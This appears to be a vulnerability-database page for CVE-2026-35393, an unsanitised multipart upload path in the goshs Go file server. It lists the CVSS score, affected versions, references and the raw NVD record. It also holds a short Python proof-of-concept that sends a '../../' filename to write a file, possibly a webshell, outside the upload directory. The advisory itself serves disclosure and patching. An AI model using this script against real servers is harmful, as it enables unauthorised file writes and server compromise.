CVE-2026-35393

Description

goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.3, the POST multipart upload directory not sanitized. This vulnerability is fixed in 2.0.0-beta.3.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:* - VULNERABLE

cpe:2.3:a:goshs:goshs:2.0.0:beta1:*:*:*:go:*:* - VULNERABLE

cpe:2.3:a:goshs:goshs:2.0.0:beta2:*:*:*:go:*:* - VULNERABLE

goshs < 2.0.0-beta.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url):
    # Define the malicious file content
    data = b'Malicious content or webshell'
    
    # Use path traversal in the filename to escape the upload directory
    files = {
        'file': ('../../malicious_file.txt', data, 'text/plain')
    }
    
    try:
        response = requests.post(f"{target_url}/upload", files=files)
        if response.status_code == 200:
            print("[+] Exploit successful: File uploaded via path traversal.")
        else:
            print(f"[-] Exploit failed: Status code {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

# Usage
# exploit("http://127.0.0.1:8000")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35393
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35393
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35393/
[4] VulDB https://vuldb.com/cve/CVE-2026-35393
[5] https://github.com/patrickhener/goshs/security/advisories/GHSA-jg56-wf8x-qrv5

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35393", "sourceIdentifier": "[email protected]", "published": "2026-04-06T21:16:21.163", "lastModified": "2026-04-09T21:20:27.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.3, the POST multipart upload directory not sanitized. This vulnerability is fixed in 2.0.0-beta.3."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:*", "versionEndExcluding": "2.0.0", "matchCriteriaId": "471EA45E-3052-469D-B301-4D92FB187228"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta1:*:*:*:go:*:*", "matchCriteriaId": "047ECFC3-056F-4FAC-9B64-5F7C120CFFE1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta2:*:*:*:go:*:*", "matchCriteriaId": "6EA86AD2-EE6D-4427-9434-A9A49A4D38F9"}]}]}], "references": [{"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-jg56-wf8x-qrv5", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}